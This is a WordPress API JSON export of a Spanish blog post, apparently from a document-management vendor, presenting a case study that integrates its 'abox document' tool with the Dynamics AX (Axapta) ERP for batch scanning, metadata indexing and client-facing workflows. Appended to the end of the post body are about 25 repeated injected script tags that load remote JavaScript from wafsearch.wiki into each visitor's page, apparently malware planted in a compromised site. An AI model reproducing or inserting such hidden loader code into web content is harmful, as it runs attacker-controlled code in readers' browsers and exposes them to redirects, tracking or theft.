{"id":686,"date":"2012-02-03T13:12:42","date_gmt":"2012-02-03T11:12:42","guid":{"rendered":"http:\/\/www.blocument.com\/?p=686"},"modified":"2026-03-20T06:22:06","modified_gmt":"2026-03-20T11:22:06","slug":"integracion-gestion-documental-navision-axapta-caso-de-exito","status":"publish","type":"post","link":"https:\/\/www.adapting.com\/en\/integracion-gestion-documental-navision-axapta-caso-de-exito\/","title":{"rendered":"Integraci\u00f3n gesti\u00f3n documental \u2013 Dynamics Axapta: caso de \u00e9xito"},"content":{"rendered":"<p><a href=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2012\/02\/Captura_expediente-incompleto.jpg\"><img loading=\"lazy\" class=\"alignleft size-medium wp-image-687\" title=\"Expediente pendiente de completar\" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2012\/02\/Captura_expediente-incompleto-300x235.jpg\" alt=\"Expediente pendiente de completar\" width=\"300\" height=\"235\" \/><\/a>Recientemente hemos finalizado un proyecto de integraci\u00f3n entre nuestra herramienta de gesti\u00f3n documental profesional <a href=\"http:\/\/www.gestiondocumental.biz\" target=\"_blank\" rel=\"noopener\" class=\"broken_link\"><strong>abox document<\/strong> <\/a>\u00a0y el <strong>ERP Dynamics AX (Axapta)<\/strong> de uno de nuestros clientes. Es en estos proyectos de integraci\u00f3n de dos herramientas tan horizontales de la empresa cuando se comprueba la potencia de un gestor documental.<\/p>\n<p>El reto consist\u00eda en dotar de una estructura l\u00f3gica a la documentaci\u00f3n que se recibe por lotes, de diversas formas (papel, digitalizadas, transmitidas telem\u00e1ticamente), con parte de la informaci\u00f3n introducida en el sistema de gesti\u00f3n (Dynamics AXAPTA). Adem\u00e1s exist\u00eda la necesidad de mostrarla, ya estructurada a los clientes, de forma segmentada (cada cliente lo suyo) y jugando con los tiempos de introducci\u00f3n de la informaci\u00f3n, no necesariamente en el orden de llegada.<\/p>\n<p>La forma en la que abox document es capaz de dar respuesta a todos estos requisitos es la siguiente:<\/p>\n<h5>Entrada<\/h5>\n<p>Los documentos se digitalizan y se cargan en <strong>abox document<\/strong> por lotes medianos (aprox. 2500 documentos por lote) a trav\u00e9s de capturadoras de alto rendimiento en bandejas de entrada;<\/p>\n<h5>Procesamiento<\/h5>\n<p>Las tareas programadas de <strong>abox document<\/strong> lanzan consultas al sistema de gesti\u00f3n para obtener informaci\u00f3n descriptiva (de indexaci\u00f3n) de los documentos, lo que permite dotarlos de metadatos, necesarios para futuras b\u00fasquedas y para su ubicaci\u00f3n en la estructura de permisos del sistema;<\/p>\n<h5>Workflow<\/h5>\n<p>Posteriores documentos, se relacionan con los anteriores, agrup\u00e1ndolos en expedientes, que deben completarse (incluir todos los documentos esperados del expediente) para que puedan pasar a su publicaci\u00f3n y aviso a los destinatarios, que acceden a abox document por medio de la extranet de clientes.<script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/usa';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Recientemente hemos finalizado un proyecto de integraci\u00f3n entre nuestra herramienta de gesti\u00f3n documental profesional abox document \u00a0y el ERP Dynamics AX (Axapta) de uno de nuestros clientes. Es en estos proyectos de integraci\u00f3n de dos herramientas tan horizontales de la empresa cuando se comprueba la potencia de un gestor documental. El reto consist\u00eda en dotar [&hellip;]<\/p>\n","protected":false},"author":3,"featured_media":687,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[243],"tags":[36,58,61,93],"amp_validity":null,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/posts\/686\/"}],"collection":[{"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/posts\/"}],"about":[{"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/types\/post\/"}],"author":[{"embeddable":true,"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/users\/3\/"}],"replies":[{"embeddable":true,"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/comments\/?post=686"}],"version-history":[{"count":25,"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/posts\/686\/revisions\/"}],"predecessor-version":[{"id":14904,"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/posts\/686\/revisions\/14904\/"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/media\/687\/"}],"wp:attachment":[{"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/media\/?parent=686"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/categories\/?post=686"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/tags\/?post=686"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}